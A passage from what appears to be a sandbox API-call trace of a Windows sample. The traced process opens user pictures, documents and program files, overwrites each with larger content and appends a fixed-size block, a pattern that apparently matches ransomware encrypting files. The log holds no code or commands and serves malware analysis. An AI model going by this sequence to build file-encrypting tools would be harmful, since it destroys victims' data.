lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.391] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.394] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd7e1 [0032.395] ReadFile (in: hFile=0x170, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.395] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd7e1 [0032.395] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.395] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.395] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.395] CloseHandle (hObject=0x170) returned 1 [0032.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.397] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.397] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1c4f5 [0032.397] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.397] ReleaseMutex (hMutex=0x128) returned 1 [0032.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.397] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.399] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1b4f5 [0032.399] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.400] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1b4f5 [0032.400] WriteFile (in: hFile=0x170, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.400] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.400] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.400] CloseHandle (hObject=0x170) returned 1 [0032.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Defb0F5pup.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\defb0f5pup.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x130b [0032.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.402] ReleaseMutex (hMutex=0x128) returned 1 [0032.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Defb0F5pup.pdf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Defb0F5pup.pdf", cchWideChar=14, lpMultiByteStr=0x1e633ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Defb0F5pup.pdf", lpUsedDefaultChar=0x0) returned 14 [0032.402] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x130b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f2bc*=0x130b, lpOverlapped=0x0) returned 1 [0032.403] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0032.403] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1893, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1893, lpOverlapped=0x0) returned 1 [0032.403] CloseHandle (hObject=0x170) returned 1 [0032.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.405] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.405] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x13fb [0032.405] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.406] ReleaseMutex (hMutex=0x128) returned 1 [0032.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.jpg", cchWideChar=11, lpMultiByteStr=0x1e632ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Peacock.jpg", lpUsedDefaultChar=0x0) returned 11 [0032.406] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x13fb, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f2bc*=0x13fb, lpOverlapped=0x0) returned 1 [0032.572] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0032.572] WriteFile (in: hFile=0x170, lpBuffer=0x1d85ea8*, nNumberOfBytesToWrite=0x1983, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1983, lpOverlapped=0x0) returned 1 [0032.575] CloseHandle (hObject=0x170) returned 1 [0032.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\GKTM vM1oTvT0Ls.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\gktm vm1otvt0ls.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.588] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.588] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x115a3 [0032.588] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.588] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.588] ReleaseMutex (hMutex=0x128) returned 1 [0032.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GKTM vM1oTvT0Ls.jpg", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0032.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GKTM vM1oTvT0Ls.jpg", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GKTM vM1oTvT0Ls.jpg", lpUsedDefaultChar=0x0) returned 19 [0032.588] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x105a3 [0032.589] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x105a3 [0032.589] WriteFile (in: hFile=0x170, lpBuffer=0x1d85ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.589] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.590] WriteFile (in: hFile=0x170, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.590] CloseHandle (hObject=0x170) returned 1 [0032.591] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.022] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.022] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x107e [0033.022] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.022] ReleaseMutex (hMutex=0x128) returned 1 [0033.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HandPrints.jpg", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HandPrints.jpg", cchWideChar=14, lpMultiByteStr=0x1e632ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HandPrints.jpg", lpUsedDefaultChar=0x0) returned 14 [0033.022] ReadFile (in: hFile=0x174, lpBuffer=0x25c9c08, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c9c08*, lpNumberOfBytesRead=0x2c0f2bc*=0x107e, lpOverlapped=0x0) returned 1 [0033.033] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0033.034] WriteFile (in: hFile=0x174, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1606, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1606, lpOverlapped=0x0) returned 1 [0033.034] CloseHandle (hObject=0x174) returned 1 [0033.034] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.037] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.037] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xbd616 [0033.037] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.038] ReleaseMutex (hMutex=0x128) returned 1 [0033.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jellyfish.jpg", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jellyfish.jpg", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jellyfish.jpg", lpUsedDefaultChar=0x0) returned 13 [0033.038] ReadFile (in: hFile=0x174, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.044] ReadFile (in: hFile=0x174, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.056] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xbc616 [0033.057] ReadFile (in: hFile=0x174, lpBuffer=0x262aca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.064] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xbc616 [0033.064] WriteFile (in: hFile=0x174, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.064] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0033.064] WriteFile (in: hFile=0x174, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0033.064] WriteFile (in: hFile=0x174, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.065] CloseHandle (hObject=0x174) returned 1 [0033.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0033.094] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.095] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x851c [0033.095] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0033.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.095] ReleaseMutex (hMutex=0x128) returned 1 [0033.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql2000.xsl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql2000.xsl", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sql2000.xsl", lpUsedDefaultChar=0x0) returned 11 [0033.095] ReadFile (in: hFile=0x174, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.103] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x751c [0033.103] ReadFile (in: hFile=0x174, lpBuffer=0x262aca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.103] SetFilePointer (in: hFile=0x174, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x751c [0033.103] WriteFile (in: hFile=0x174, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.103] SetFilePointer (in: hFile=0x174, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0033.103] WriteFile (in: hFile=0x174, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.104] CloseHandle (hObject=0x174) returned 1 [0033.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe" (normalized: "c:\\program files\\microsoft synchronization services\\kids-memorabilia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.105] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", lpFilePart=0x2c0f690*="kids-memorabilia.exe") returned 0x48 [0033.105] GetLastError () returned 0x20 [0033.105] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pˀ폈Hˀ퐔HˀLˀꢸǦ\x01") returned 0x51 [0033.105] LocalFree (hMem=0x70da60) returned 0x0 [0033.105] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0033.105] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0033.105] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.105] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0033.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe" (normalized: "c:\\program files\\microsoft synchronization services\\kids-memorabilia.exe")) returned 0x20 [0033.106] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", lpFilePart=0x2c0f690*="jnwdui.dll.mui") returned 0x35 [0033.248] GetLastError () returned 0x5 [0033.248] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, 